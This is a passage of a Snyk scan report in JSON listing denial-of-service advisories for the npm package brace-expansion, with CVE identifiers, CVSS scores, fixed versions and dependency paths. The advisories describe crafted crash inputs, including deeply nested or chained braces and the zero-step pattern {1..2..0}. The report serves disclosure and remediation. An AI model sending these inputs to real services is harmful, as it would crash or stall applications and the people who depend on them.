"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
